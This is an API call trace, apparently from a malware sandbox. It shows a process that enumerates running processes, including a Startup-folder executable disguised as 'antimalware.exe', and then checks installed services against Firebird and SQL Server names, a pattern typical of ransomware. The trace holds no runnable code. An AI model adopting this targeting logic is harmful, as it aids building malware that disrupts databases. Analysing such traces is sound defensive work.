	[0173.031] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0173.032] lstrlenW (lpString="System") returned 6
	[0173.032] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0173.033] lstrlenW (lpString="smss.exe") returned 8
	[0173.033] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0173.034] lstrlenW (lpString="csrss.exe") returned 9
	[0173.034] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0173.035] lstrlenW (lpString="wininit.exe") returned 11
	[0173.035] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0173.050] lstrlenW (lpString="csrss.exe") returned 9
	[0173.050] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0173.051] lstrlenW (lpString="winlogon.exe") returned 12
	[0173.052] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0173.052] lstrlenW (lpString="services.exe") returned 12
	[0173.053] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0173.053] lstrlenW (lpString="lsass.exe") returned 9
	[0173.053] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0173.054] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0173.054] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0173.056] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0173.056] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.057] lstrlenW (lpString="svchost.exe") returned 11
	[0173.057] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.058] lstrlenW (lpString="svchost.exe") returned 11
	[0173.058] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0173.059] lstrlenW (lpString="dwm.exe") returned 7
	[0173.059] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.060] lstrlenW (lpString="svchost.exe") returned 11
	[0173.060] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.061] lstrlenW (lpString="svchost.exe") returned 11
	[0173.061] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.062] lstrlenW (lpString="svchost.exe") returned 11
	[0173.062] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.063] lstrlenW (lpString="svchost.exe") returned 11
	[0173.063] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.064] lstrlenW (lpString="svchost.exe") returned 11
	[0173.064] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.065] lstrlenW (lpString="svchost.exe") returned 11
	[0173.065] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.066] lstrlenW (lpString="svchost.exe") returned 11
	[0173.066] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.067] lstrlenW (lpString="svchost.exe") returned 11
	[0173.067] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.068] lstrlenW (lpString="svchost.exe") returned 11
	[0173.068] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.069] lstrlenW (lpString="svchost.exe") returned 11
	[0173.069] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0173.070] lstrlenW (lpString="spoolsv.exe") returned 11
	[0173.070] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.305] lstrlenW (lpString="svchost.exe") returned 11
	[0173.305] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0173.306] lstrlenW (lpString="audiodg.exe") returned 11
	[0173.307] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0173.307] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0173.308] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0173.308] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0173.309] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0173.310] lstrlenW (lpString="sihost.exe") returned 10
	[0173.310] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0173.345] lstrlenW (lpString="Memory Compression") returned 18
	[0173.345] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.347] lstrlenW (lpString="svchost.exe") returned 11
	[0173.347] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0173.348] lstrlenW (lpString="taskhostw.exe") returned 13
	[0173.348] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0173.349] lstrlenW (lpString="msoia.exe") returned 9
	[0173.349] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0173.350] lstrlenW (lpString="explorer.exe") returned 12
	[0173.350] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0173.351] lstrlenW (lpString="SearchUI.exe") returned 12
	[0173.351] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0173.352] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0173.352] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0173.353] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0173.353] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0173.354] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0173.354] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0173.355] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0173.355] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0173.356] lstrlenW (lpString="dllhost.exe") returned 11
	[0173.356] Process32NextW (in: hSnapshot=0x458, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0173.357] CloseHandle (hObject=0x458) returned 1
	[0173.357] Sleep (dwMilliseconds=0x1f4) 
	[0174.152] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b02f0
	[0174.152] EnumServicesStatusExW (in: hSCManager=0x45b02f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0174.153] GetLastError () returned 0xea
	[0174.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4642fd8
	[0174.154] EnumServicesStatusExW (in: hSCManager=0x45b02f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4642fd8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4642fd8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0174.154] CloseServiceHandle (hSCObject=0x45b02f0) returned 1
	[0174.156] lstrlenW (lpString="Appinfo") returned 7
	[0174.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0174.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0174.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0174.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0174.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0174.156] lstrlenW (lpString="AppXSvc") returned 7
	[0174.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.156] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0174.156] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0174.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0174.156] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0174.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.156] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0174.156] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0174.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0174.156] lstrlenW (lpString="Audiosrv") returned 8
	[0174.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0174.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0174.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0174.157] lstrlenW (lpString="BFE") returned 3
	[0174.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0174.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0174.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0174.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0174.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0174.157] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0174.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0174.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0174.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0174.157] lstrlenW (lpString="CDPSvc") returned 6
	[0174.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.157] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0174.157] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0174.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0174.158] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0174.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.158] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0174.158] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0174.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0174.158] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0174.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.158] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0174.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0174.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0174.158] lstrlenW (lpString="CryptSvc") returned 8
	[0174.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0174.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0174.158] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0174.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0174.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0174.158] lstrlenW (lpString="DcomLaunch") returned 10
	[0174.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0174.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0174.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0174.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0174.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0174.158] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0174.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0174.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0174.159] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0174.159] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0174.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0174.159] lstrlenW (lpString="Dhcp") returned 4
	[0174.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0174.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0174.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0174.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0174.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0174.159] lstrlenW (lpString="Dnscache") returned 8
	[0174.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0174.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0174.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0174.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0174.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0174.159] lstrlenW (lpString="DPS") returned 3
	[0174.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0174.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0174.159] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0174.159] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0174.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0174.159] lstrlenW (lpString="DusmSvc") returned 7
	[0174.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0174.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0174.160] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0174.160] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0174.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0174.160] lstrlenW (lpString="EventLog") returned 8
	[0174.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0174.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0174.160] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0174.160] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0174.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0174.160] lstrlenW (lpString="EventSystem") returned 11
	[0174.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0174.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0174.160] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0174.160] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0174.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0174.160] lstrlenW (lpString="FontCache") returned 9
	[0174.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0174.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0174.160] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0174.160] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0174.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0174.160] lstrlenW (lpString="gpsvc") returned 5
	[0174.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0174.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0174.161] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0174.161] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0174.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0174.161] lstrlenW (lpString="iphlpsvc") returned 8
